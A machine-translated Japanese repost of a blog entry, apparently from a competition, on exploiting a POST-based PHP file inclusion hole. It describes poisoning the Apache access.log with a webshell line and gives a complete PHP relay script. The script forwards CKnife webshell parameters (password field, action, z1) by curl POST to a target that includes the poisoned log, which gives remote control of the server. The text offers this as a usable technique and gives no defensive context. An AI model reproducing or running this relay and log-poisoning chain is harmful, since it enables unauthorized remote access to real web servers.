POST ファイルには、一文で悪用できる脆弱性が含まれています

WBOY
リリース: 2016-06-23 13:08:01
オリジナル
1753 人が閲覧しました

最近、競争に忙しく、ファイルインクルードの脆弱性に遭遇しました。CKnife を使用して、Apache の access.log に文を含めて接続しましたが、Get タイプは、http://xxx/FilesIn を直接実行するだけで非常に簡単です。 php?filename=../apache/logs/access.log をインクルードして使用します。しかし、そのようなファイル保護の脆弱性に遭遇したとき。

<?phpif(isset($_POST["filename"])) $myfile = $_POST["filename"];else echo "Please set filename!";?>
ログイン後にコピー

上記の方法は全く効果がありません。包丁とCナイフの設定パラメータはPOSTオプションをサポートしていないので、この良い抜け道は無駄ではありませんか?前回のCookiesインジェクションでのCookiesリレーインジェクションの考え方をもとに、簡単なスクリプトを書きました(Cナイフを例にします)。

まずはログに文章を書いてみましょう。

その後、ターゲット マシンでアップロードが成功したかどうかを確認できます。

ok

次のスクリプトを作成します:

<?php$url="http://192.168.51.103/FilesIn.php"; //中转的脚本路径//初始化提交参数$data = array('filename'=>'../Apache/logs/access.log');if(isset($_POST["CRoot"]))//此处CRoot改为你的密码{ $tmp = array('CRoot'=>$_POST["CRoot"]);//此处CRoot改为你的密码 $data += $tmp;}if(isset($_POST["action"])){ $tmp = array('action'=>$_POST["action"]); $data += $tmp;}if(isset($_POST['z1'])){ $tmp = array('z1'=>$_POST["z1"]); $data += $tmp;}//$data = array('filename'=>'../Apache/logs/access.log','CRoot'=>$postdata,'action'=$_POST["action"],'z1'=$_POST['z1']);//var_dump($data);$data = http_build_query($data);$curl = curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_POST, 1);curl_setopt($curl, CURLOPT_POSTFIELDS, $data);$rtdata = curl_exec($curl);curl_close($curl);echo $rtdata;?>
ログイン後にコピー

Open Cナイフ

接続するためにローカルにPHPサーバーを構築します。テスト効果

OK。今回は PHP タイプのファイル管理のみが転送され、他の管理機能は十分にサポートされていない可能性があります。

ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート
私たちについて 免責事項 Sitemap
PHP中国語ウェブサイト:福祉オンライン PHP トレーニング,PHP 学習者の迅速な成長を支援します!